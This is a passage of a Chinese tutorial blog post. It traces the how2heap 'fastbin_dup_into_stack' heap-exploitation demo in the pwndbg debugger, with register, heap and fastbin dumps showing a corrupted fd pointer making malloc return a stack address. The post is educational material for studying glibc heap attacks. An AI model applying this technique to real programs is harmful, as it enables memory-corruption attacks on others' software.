0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x4545454545454545      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000021
0x603050:       0x4343434343434343      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000020fa1
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x603000 —▸ 0x603020 ◂— 'EEEEEEEE'
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> n
49          char* f = malloc(8);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x603010 —▸ 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RDI  0x2RSI  0x7fffffffbed0 ◂— 0xa6e8a89ce5b08ee7R8   0x7ffff7feb700 ◂— 0x7ffff7feb700R9   0x62R10  0x32783020a29de98dR11  0x246R12  0x4005b0 (_start) ◂— 0x89485ed18949ed31R13  0x7fffffffe690 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741RSP  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RIP  0x400985 (main+735) ◂— 0xfbf1e800000008bf
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x400973 <main+717>    lea    rax, [rbp - 0x48]0x400977 <main+721>    sub    rax, 80x40097b <main+725>    mov    rdx, rax0x40097e <main+728>    mov    rax, qword ptr [rbp - 0x28]0x400982 <main+732>    mov    qword ptr [rax], rdx► 0x400985 <main+735>    mov    edi, 80x40098a <main+740>    call   malloc@plt <0x400580>0x40098f <main+745>    mov    qword ptr [rbp - 0x18], rax0x400993 <main+749>    mov    rax, qword ptr [rbp - 0x18]0x400997 <main+753>    movabs rcx, 0x46464646464646460x4009a1 <main+763>    mov    qword ptr [rax], rcx
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c44     stack_var = 0x20;45 46     fprintf(stderr, "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n", a);47     *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));48     ► 49     char* f = malloc(8);50     strcpy(f, "FFFFFFFF");51     fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);52     char* g = malloc(8);53     strcpy(g, "GGGGGGGG");54     fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rdx rsp  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│          0x7fffffffe568 ◂— 0x20 /* ' ' */
02:0010│          0x7fffffffe570 —▸ 0x603010 —▸ 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
03:0018│          0x7fffffffe578 —▸ 0x603030 ◂— 'EEEEEEEE'
04:0020│          0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│          0x7fffffffe588 —▸ 0x603010 —▸ 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
06:0030│          0x7fffffffe590 —▸ 0x603030 ◂— 'EEEEEEEE'
07:0038│          0x7fffffffe598 —▸ 0x4005b0 (_start) ◂— 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400985 main+735f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> x/20gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x00007fffffffe560      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x4545454545454545      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000021
0x603050:       0x4343434343434343      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000020fa1
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x20                 Freed     0x7fffffffe560              None
0x603020            0x0                 0x20                 Used                None              None
0x603040            0x0                 0x20                 Used                None              None
pwndbg> bin
fastbins
0x20: 0x603000 —▸ 0x7fffffffe560 —▸ 0x603010 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> b 54
Breakpoint 4 at 0x4009e8: file fastbin_dup_into_stack.c, line 54.
pwndbg> c
Continuing.
第三次 malloc(8): 0x603010, 把栈地址放到 fastbin 链表中Breakpoint 4, main () at fastbin_dup_into_stack.c:54
54          fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x7fffffffe570 ◂— 'GGGGGGGG'RBX  0x0RCX  0x7ffff7dd1b20 (main_arena) ◂— 0x0RDX  0x7fffffffe570 ◂— 'GGGGGGGG'RDI  0x0RSI  0x4747474747474747 ('GGGGGGGG')R8   0x603010 ◂— 'FFFFFFFF'R9   0x44R10  0xe8be93e9206e6962R11  0x246R12  0x4005b0 (_start) ◂— 0x89485ed18949ed31R13  0x7fffffffe690 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741RSP  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RIP  0x4009e8 (main+834) ◂— 0x4800201671058b48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x4009e8 <main+834>    mov    rax, qword ptr [rip + 0x201671] <0x602060>0x4009ef <main+841>    mov    rdx, qword ptr [rbp - 0x10]0x4009f3 <main+845>    mov    esi, 0x400e680x4009f8 <main+850>    mov    rdi, rax0x4009fb <main+853>    mov    eax, 00x400a00 <main+858>    call   fprintf@plt <0x400570>0x400a05 <main+863>    mov    eax, 00x400a0a <main+868>    mov    rcx, qword ptr [rbp - 8]0x400a0e <main+872>    xor    rcx, qword ptr fs:[0x28]0x400a17 <main+881>    je     main+888 <0x400a1e>0x400a19 <main+883>    call   __stack_chk_fail@plt <0x400550>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c49     char* f = malloc(8);50     strcpy(f, "FFFFFFFF");51     fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);52     char* g = malloc(8);53     strcpy(g, "GGGGGGGG");► 54     fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);55 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp      0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│          0x7fffffffe568 ◂— 0x20 /* ' ' */
02:0010│ rax rdx  0x7fffffffe570 ◂— 'GGGGGGGG'
03:0018│          0x7fffffffe578 —▸ 0x603000 ◂— 0x0
04:0020│          0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│          0x7fffffffe588 —▸ 0x603010 ◂— 'FFFFFFFF'
06:0030│          0x7fffffffe590 —▸ 0x603030 ◂— 'EEEEEEEE'
07:0038│          0x7fffffffe598 —▸ 0x603010 ◂— 'FFFFFFFF'
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           4009e8 main+834f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_into_stack.c:54
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x20                 Used                None              None
0x603020            0x0                 0x20                 Used                None              None
0x603040            0x0                 0x20                 Used                None              None
pwndbg> x/20gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x4646464646464646      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x4545454545454545      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000021
0x603050:       0x4343434343434343      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000020fa1
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x603010 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> n
这一次 malloc(8) 就申请到了栈上去: 0x7fffffffe570
55      }LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x0RBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI  0x2RSI  0x7fffffffbed0 ◂— 0xace680b8e499bfe8R8   0x7ffff7feb700 ◂— 0x7ffff7feb700R9   0x3dR10  0x0R11  0x246R12  0x4005b0 (_start) ◂— 0x89485ed18949ed31R13  0x7fffffffe690 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741RSP  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RIP  0x400a0a (main+868) ◂— 0xc334864f84d8b48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x4009f3 <main+845>           mov    esi, 0x400e680x4009f8 <main+850>           mov    rdi, rax0x4009fb <main+853>           mov    eax, 00x400a00 <main+858>           call   fprintf@plt <0x400570>0x400a05 <main+863>           mov    eax, 0► 0x400a0a <main+868>           mov    rcx, qword ptr [rbp - 8] <0x7ffff7b042c0>0x400a0e <main+872>           xor    rcx, qword ptr fs:[0x28]0x400a17 <main+881>           je     main+888 <0x400a1e>↓0x400a1e <main+888>           leave  0x400a1f <main+889>           ret    0x400a20 <__libc_csu_init>    push   r15
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c50     strcpy(f, "FFFFFFFF");51     fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);52     char* g = malloc(8);53     strcpy(g, "GGGGGGGG");54     fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);► 55 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│      0x7fffffffe568 ◂— 0x20 /* ' ' */
02:0010│      0x7fffffffe570 ◂— 'GGGGGGGG'
03:0018│      0x7fffffffe578 —▸ 0x603000 ◂— 0x0
04:0020│      0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│      0x7fffffffe588 —▸ 0x603010 ◂— 'FFFFFFFF'
06:0030│      0x7fffffffe590 —▸ 0x603030 ◂— 'EEEEEEEE'
07:0038│      0x7fffffffe598 —▸ 0x603010 ◂— 'FFFFFFFF'
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400a0a main+868f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x20                 Used                None              None
0x603020            0x0                 0x20                 Used                None              None
0x603040            0x0                 0x20                 Used                None              None
pwndbg> x/20gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x4646464646464646      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x4545454545454545      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000021
0x603050:       0x4343434343434343      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000020fa1
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x603010 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> p &stack_var
$1 = (unsigned long long *) 0x7fffffffe568
pwndbg> x/10gx 0x7fffffffe568
0x7fffffffe568: 0x0000000000000020      0x4747474747474747
0x7fffffffe578: 0x0000000000603000      0x0000000000603050
0x7fffffffe588: 0x0000000000603010      0x0000000000603030
0x7fffffffe598: 0x0000000000603010      0x00007fffffffe570
0x7fffffffe5a8: 0xe609b5a9bd5a1300      0x0000000000400a20
pwndbg> 

4.参考资料

【PWN】how2heap | 狼组安全团队公开知识库

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/678184.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

计算机网络——07协议层次及服务模型

协议层次及服务模型 协议层次 网络是一个复杂的系统 网络功能复杂&#xff1a;数字信号的物理信号承载、点到点、路由、rdt、进程区分、应用等现实来看&#xff0c;网络的许多构成元素和设备&#xff1a; 主机路由器各种媒体的链路应用协议硬件&#xff0c;软件 问题是&am…

openJudge | 距离排序

总时间限制: 1000ms 内存限制: 65536kB 描述 给出三维空间中的n个点&#xff08;不超过10个&#xff09;,求出n个点两两之间的距离,并按距离由大到小依次输出两个点的坐标及它们之间的距离。 输入 输入包括两行&#xff0c;第一行包含一个整数n表示点的个数&#xff0c;第二…

2024年华为OD机试真题-英文输入法-Java-OD统一考试(C卷)

题目描述: 主管期望你来实现英文输入法单词联想功能。需求如下: 依据用户输入的单词前缀,从已输入的英文语句中联想出用户想输入的单词,按字典序输出联想到的单词序列,如果联想不到,请输出用户输入的单词前缀。 注意: 1. 英文单词联想时,区分大小写 2. 缩略形式如”d…

springboot redis 实现消息队列

在Spring Boot中使用Redis作为消息队列&#xff0c;可以通过以下步骤实现&#xff1a; 1. 添加依赖 在pom.xml文件中添加Spring Boot Redis和Jedis的依赖&#xff1a; xml <dependencies> <!-- Spring Boot Redis --> <dependency> <g…

32MPU6050

MPU6050无SPI相关电路 硬件电路 ​编辑 MEMS说公司研发的微机电系统&#xff0c;可以用电子的方案进行姿态测量 芯片内部含有自由落体检测&#xff0c;运动检测和零运动检测 时钟源&#xff1a;内部晶振&#xff0c;陀螺仪晶振和外部时钟引脚的方波 运动检测有高通滤波器可…

原语,原子,线程安全

原子操作和原语是计算机科学中常见的概念&#xff0c;通常用于多线程或多进程环境中&#xff0c;以确保数据的一致性和同步。 原子操作&#xff08;Atomic Operations&#xff09; 原子操作是不可再分的操作&#xff0c;在执行完毕之前不会被线程调度系统中断的操作。从外部看…

「递归算法」:反转链表

一、题目 给你单链表的头节点 head &#xff0c;请你反转链表&#xff0c;并返回反转后的链表。 示例 1&#xff1a; 输入&#xff1a;head [1,2,3,4,5] 输出&#xff1a;[5,4,3,2,1]示例 2&#xff1a; 输入&#xff1a;head [1,2] 输出&#xff1a;[2,1]示例 3&#xff1a…

提升幸福感,中国的龙!理性看待个人发声——早读

打了过年球&#xff0c;爽&#xff01; 引言代码第一篇 人民日报 【夜读】新的一年&#xff0c;提升幸福感的6件小事第二篇 茶百道的广告文第三篇 人民日报 热搜第一&#xff01;《山河诗长安》&#xff0c;太燃了第四篇 人民日报 中国有真龙第五篇 人民日报 来啦 新闻早班车要…

C++ dfs 的状态表示(五十一)【第十一篇】

今天我们接着学习dfs&#xff08;状态表示&#xff09;。 1.抽象形式的dfs 前面用到的 DFS 算法都是比较容易想象出搜索过程的&#xff0c;接下来我们看一些不那么容易想象搜索过程的 DFS 过程&#xff0c;这些问题我们称为抽象形式的 DFS。 来回顾一下上节课遇到的一个问题&a…

vue对于安装依赖时不好习惯的反省

因为一个不好的习惯&#xff0c;我总是喜欢–save去安装依赖包&#xff0c;然后发现最后打包后的内容总是很大。就想着怎么能让包小一些&#xff0c;就发现我遗漏了vue安装依赖的一个小知识点 安装依赖的时候可以-s -d -g去安装&#xff0c;要根据使用的内容选择去安装&#xf…

【制作100个unity游戏之25】3D背包、库存、制作、快捷栏、存储系统、砍伐树木获取资源、随机战利品宝箱1(附带项目源码)

效果演示 文章目录 效果演示系列目录前言人物和视角基本控制简单的背包系统和物品交互绘制背包UI脚本控制 源码完结 系列目录 前言 欢迎来到【制作100个Unity游戏】系列&#xff01;本系列将引导您一步步学习如何使用Unity开发各种类型的游戏。在这第25篇中&#xff0c;我们将…

systemctl启动服务空间不足的问题

一、描述 使用systemctl重启服务时显示空间不足&#xff0c;但是实际的空间是足够的。有多种表现形式&#xff0c;但一般都会显示空间不足&#xff0c;以下是一种可能情况&#xff1a; Failed to add /run/systemd/ask-password to directory watch: No space left on device…

【实习】深信服防火墙网络安全生产实习

一、实习概况 1.1实习目的 1.掌握防火墙规则的作用2.掌握代理上网功能的作用3.掌握端口映射功能的作用 1.2实习任务 1.防火墙的WEB控制台 2.需要在防火墙上配置dnat …

C语言第二十二弹---指针(六)

✨个人主页&#xff1a; 熬夜学编程的小林 &#x1f497;系列专栏&#xff1a; 【C语言详解】 【数据结构详解】 指针 1. 回调函数是什么&#xff1f; 2、qsort使用举例 2.1、使用qsort函数排序整型数据 2.2 使用qsort排序结构体数据 3、qsort函数的模拟实现 总结 1. 回…

FFmpeg中的Color颜色参数解析、转码和HDR

前言 视频中帧的颜色信息非常重要&#xff0c;表示着编码时用到的标准&#xff0c;意味着解码时也要对应上&#xff0c;或者要使用正确的转换函数&#xff0c;否则就会带来色差问题。 关于FFmpeg中的颜色参数&#xff0c;有下边几个重要的结构体&#xff1a; 颜色参数相关的结…

C++ //练习 5.5 写一段自己的程序,使用if else语句实现把数字成绩转换成字母成绩的要求。

C Primer&#xff08;第5版&#xff09; 练习 5.5 练习 5.5 写一段自己的程序&#xff0c;使用if else语句实现把数字成绩转换成字母成绩的要求。 环境&#xff1a;Linux Ubuntu&#xff08;云服务器&#xff09; 工具&#xff1a;vim 代码块 /***************************…

Linux操作系统基础(七):Linux常见命令(二)

文章目录 Linux常见命令&#xff08;二&#xff09; 一、kill命令 二、ifconfig命令 三、clear命令 四、重启与关机命令 五、which命令 六、hostname命令 七、grep命令 八、|管道 九、useradd命令 十、userdel命令 十一、tar命令 十二、su命令 十三、ps命令 Linu…

腾讯云4核8G服务器多少钱?2024精准报价

腾讯云4核8G服务器S5和轻量应用服务器优惠价格表&#xff0c;轻量应用服务器和CVM云服务器均有活动&#xff0c;云服务器CVM标准型S5实例4核8G配置价格15个月1437.3元&#xff0c;5年6490.44元&#xff0c;标准型SA2服务器1444.8元一年&#xff0c;轻量应用服务器4核8G12M带宽一…

Docker 面试题 100 道

涵盖了Docker的基础知识、常用命令、网络和存储管理、Docker Compose、Docker Swarm等方面。 下面是一些样例面试题及其答案&#xff1a; 基础概念 什么是Docker&#xff1f; 答&#xff1a;Docker是一个开源的容器化平台&#xff0c;它允许开发者将应用及其依赖打包到一个轻量…

C语言-----自定义类型-----结构体枚举联合

结构体和数组一样&#xff0c;都是一群数据的集合&#xff0c;不同的是数组当中的数据是相同的类型&#xff0c;但是结构体中的数据类型可以不相同&#xff0c;结构体里的成员叫做成员变量 结构体类型是C语言里面的一种自定义类型&#xff0c;我们前面已经了解到过int,char,fl…